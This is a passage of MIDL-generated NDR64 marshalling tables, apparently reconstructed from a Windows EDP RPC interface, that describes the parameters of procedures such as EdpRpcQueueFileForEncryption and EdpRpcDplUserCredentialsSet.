0x5,    /* OP_UNARY_INDIRECTION */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag415_t __midl_frag415 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag416\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag417\n    }\n};\n\nstatic const __midl_frag414_t __midl_frag414 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag415\n};\n\nstatic const __midl_frag413_t __midl_frag413 =\n{ \n/* **char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag414\n};\n\nstatic const __midl_frag412_t __midl_frag412 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag411_t __midl_frag411 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag410_t __midl_frag410 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag409_t __midl_frag409 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag410\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag411\n    }\n};\n\nstatic const __midl_frag408_t __midl_frag408 =\n{ \n/* *char */\n    0x23,    /* FC64_FP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag409\n};\n\nstatic const __midl_frag407_t __midl_frag407 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag406_t __midl_frag406 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag405_t __midl_frag405 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag404_t __midl_frag404 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag405\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag406\n    }\n};\n\nstatic const __midl_frag403_t __midl_frag403 =\n{ \n/* *char */\n    0x23,    /* FC64_FP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag404\n};\n\nstatic const __midl_frag402_t __midl_frag402 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag401_t __midl_frag401 =\n{ \n/* *wchar_t */\n    0x23,    /* FC64_FP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag402\n};\n\nstatic const __midl_frag398_t __midl_frag398 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag397_t __midl_frag397 =\n{ \n/* Proc40_EdpRpcCredSvcControl */\n    { \n    /* Proc40_EdpRpcCredSvcControl */      /* procedure Proc40_EdpRpcCredSvcControl */\n        (NDR64_UINT32) 23990336 /* 0x16e1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 88 /* 0x58 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag398,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag401,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag401,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag403,\n        { \n        /* arg_4 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* arg_5 */      /* parameter arg_5 */\n        &__midl_frag407,\n        { \n        /* arg_5 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* arg_6 */      /* parameter arg_6 */\n        &__midl_frag408,\n        { \n        /* arg_6 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* arg_7 */      /* parameter arg_7 */\n        &__midl_frag412,\n        { \n        /* arg_7 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* arg_8 */      /* parameter arg_8 */\n        &__midl_frag413,\n        { \n        /* arg_8 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* arg_9 */      /* parameter arg_9 */\n        &__midl_frag455,\n        { \n        /* arg_9 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag455,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag395_t __midl_frag395 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag394_t __midl_frag394 =\n{ \n/* Proc39_EdpRpcServiceFileEncryptionQueue */\n    { \n    /* Proc39_EdpRpcServiceFileEncryptionQueue */      /* procedure Proc39_EdpRpcServiceFileEncryptionQueue */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 5 /* 0x5 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag395,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag392_t __midl_frag392 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag391_t __midl_frag391 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag392\n};\n\nstatic const __midl_frag389_t __midl_frag389 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag392\n};\n\nstatic const __midl_frag386_t __midl_frag386 =\n{ \n/* Struct_762_t */\n    { \n    /* Struct_762_t */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* Struct_762_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag385_t __midl_frag385 =\n{ \n/* *Struct_762_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag386\n};\n\nstatic const __midl_frag384_t __midl_frag384 =\n{ \n/* Proc38_EdpRpcQueueFileForEncryption */\n    { \n    /* Proc38_EdpRpcQueueFileForEncryption */      /* procedure Proc38_EdpRpcQueueFileForEncryption */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag385,\n        { \n        /* arg_1 */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag389,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag389,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag392,\n        { \n        /* arg_4 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag382_t __midl_frag382 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag379_t __midl_frag379 =\n{ \n/* *wchar_t */\n    0x23,    /* FC64_FP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag392\n};\n\nstatic const __midl_frag378_t __midl_frag378 =\n{ \n/* Proc37_EdpRpcDplUserUnlockComplete */\n    { \n    /* Proc37_EdpRpcDplUserUnlockComplete */      /* procedure Proc37_EdpRpcDplUserUnlockComplete */\n        (NDR64_UINT32) 17567808 /* 0x10c1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag398,\n        { \n        /* arg_2 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag382,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag375_t __midl_frag375 =\n{ \n/* *__int3264 */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag382\n};\n\nstatic const __midl_frag369_t __midl_frag369 =\n{ \n/* Proc36_EdpRpcDplUserUnlockStart */\n    { \n    /* Proc36_EdpRpcDplUserUnlockStart */      /* procedure Proc36_EdpRpcDplUserUnlockStart */\n        (NDR64_UINT32) 17567808 /* 0x10c1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag379,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag382,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag382,\n        { \n        /* arg_4 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag366_t __midl_frag366 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag361_t __midl_frag361 =\n{ \n/* Proc35_EdpRpcDplUserCredentialsSet */\n    { \n    /* Proc35_EdpRpcDplUserCredentialsSet */      /* procedure Proc35_EdpRpcDplUserCredentialsSet */\n        (NDR64_UINT32) 17567808 /* 0x10c1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 22 /* 0x16 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag379,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag366,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag382,\n        { \n        /* arg_4 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag356_t __midl_frag356 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag398\n};\n\nstatic const __midl_frag351_t __midl_frag351 =\n{ \n/* Proc34_EdpRpcDplUpgradeVerifyUser */\n    { \n    /* Proc34_EdpRpcDplUpgradeVerifyUser */      /* procedure Proc34_EdpRpcDplUpgradeVerifyUser */\n        (NDR64_UINT32) 17567808 /* 0x10c1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 80 /* 0x50 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 